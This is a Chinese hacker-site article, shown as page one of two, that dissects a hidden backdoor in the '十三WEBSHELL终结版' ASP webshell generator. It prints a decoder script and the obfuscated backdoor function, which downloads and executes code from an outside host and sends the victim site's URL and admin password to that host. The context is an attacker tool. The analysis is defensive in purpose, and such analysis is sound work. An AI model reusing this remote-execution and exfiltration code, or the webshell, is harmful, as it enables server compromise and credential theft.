黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑软介绍 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[组图]十三WEBSHELL终结版后门的去除过程+工具下载
      ★★★★★

十三WEBSHELL终结版后门的去除过程+工具下载

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-12-14 8:47:16
自从上次从网上找了个WebShell管理网站,后来发现有后门, 被人挂马了,数据库被破坏了,至今还没修复……所以对别人的WebShell格外小心。网上找了个十三WEBSHELL终结版生成器,如图

Open in new window

下面我们来生成一个ASP WebShell,生成后的WebShell是加密的,这个解密直接用工具了,就不详述,解密后代码如图132.JPG
看看代码, 还是加密的,从代码中很容易可以看到他的解密函数是SinfoEn,那么我们就来解密出来,解密的代码已经有人写出来了。
下面是冰点极限论坛上贴出来的解密代码:
===============================decode.asp======================================
以下是引用片段:
<%
Pos=2 '解密固定值
Function Fun(ShiSanObjstr)
ShiSanObjstr=Replace(ShiSanObjstr,"|","""")
For ShiSanI=1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr,ShiSanI,1)<>"!" Then
ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr
Else
ShiSanNewStr=vbCrLf&ShiSanNewStr
End If
Next
Fun = ShiSanNewStr
End Function

Function SinfoEn(ObjStr,ObjPos)
ObjStr=Replace(ObjStr,"~","""")
NewStr=Split(ObjStr,"`")
For i=0 To UBound(NewStr)
SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf
Next
SinfoEn=Left(SinfoEn,Len(SinfoEn)-2)
End Function

Function EnCode(ObjStr,ObjPos)
Dim NewStr,TmpStr,i,LenStr
LenStr=Len(ObjStr)
For i=0 To Int(LenStr/ObjPos)-1
TmpStr=Mid(ObjStr,i*ObjPos+1,ObjPos)&TmpStr
Next
EnCode=TmpStr&Right(ObjStr,LenStr Mod ObjPos)
End Function
data=request.form("x")
if data="" then data="nothing"
response.write "<form method='post'>"
response.write "<textarea name='x' cols='80' rows='30'>"
response.write Server.HTMLEncode(SinfoEn(data,Pos))
response.write "</textarea>"
response.write "<input type='submit' name='Submit1' value=' 提交 '>"
response.write "<input type='reset' name='Submit32' value=' 重置 '>"
response.write "</form>"
%>

===============================end===========================================

现在就直接解密,解密后的代码如133.jpg,按照普通的搜索后门的方法,当然是搜索如HTTP之类的代码,我搜索了一遍,没有发现可疑的代码。搜索关键子:UserPass,看看它的密码验证代码:
以下是引用片段:
if session("web2a2dmin")<>UserPass then
if request.form("pass")<>"" then
if Serinf(request.form("pass"),pn)=UserPass then
session("web2a2dmin")=UserPass
response.redirect url
else
rrs"非法登录"
end if
else
si="<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><a href='"&SiteURL&"' target='_blank'>"&mname&"</a><hr><form action='"&url&"' method='post'>密码:<input name='pass' type='password' size='22'> <input type='submit' value='登录'></form><hr>"&Copyright&"</div> </center>"
RRS sI
end if
response.end

密码用Serinf函数加密然后进行验证,代码正常,没有可疑的迹象我们在搜索Serinf,看到如下代码:
if session("serinfo")=false then
SererInf "1ll4":session("serinfo")=true
else
if action="getTerminalInfo" then
SererInf "1ll4"
end if
end if

看到这里就觉得有点奇怪了,搜索session("serinfo"),可以发现session("serinfo") 在前面是没有定义的,那肯定是false了,那么我们就来看看SererInf()这个函数,搜索SererInf,找到如下代码:
以下是引用片段:
function SererInf(inf)
on error resume next
Set theserver=Server.createobject(Sot(13,0))
theserver.open "GET",right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1),false
theserver.send()
if theserver.readystate<>4 then
exit function
end if
execute(theserver.responseText)
set theserver=nothing
if err.number<>0 then
err.Clear
end if
end function

看到这里就很明白了,这就是后门,那么我们的后门到底是怎么样的呢?还是把下面这句解密开来看看
right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1)

继续搜索sot,发现sot数组的值如下:
Sot(13,0) = "Microsoft.XMLHTTP"
Sot(4,0) = "Scripting.Dictionary"
Sot(6,0) = "Adodb.Stream"
Sot(1,0) = "wscript.shell"

继续上查,可以看到pos=2,那么我们现在就可以把上面的这段用函数加密了的代码解密出来了,很简单。
right(sot(13,0),4)=http
chr(60-pos)=:
chr(pos+45)=/
chr(46)=.
mid(sot(4,0),2,1)=c
chr(109+pos)=o
right(Sot(6,0),1)=m
chr(47)=/
right(sot(1,0),1)=l

http://1ll4.com/l

看到这里是不是觉得很奇怪?怎么后门代码不完整呢?不急,我们再来打开http://1ll4.com/l这个网址看个究竟。打开http://1ll4.com/l页面,查看源文件,代码如下:
Serurl="http://1ll4.com/1/?jpg=8&u="&Serveru&"&p="&UserPass
Set theserver=Server.createobject(Sot(13,0))
theserver.open "GET",Serurl,false
theserver.send()

现在看到这里就完整了,参数Serveru=request.servervariables(""http_host"")&url,即网站的完整路径,参数UserPass当然就是密码了,虽然是加密的,不过可以解密!
到这里,WebShell里面的后门就完全显露出来了,接下来的事情当然是去后门!
我这里修改了这个WebShell,除去了后门,增加了部分功能,改善了部分功能:
 

[1] [2] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886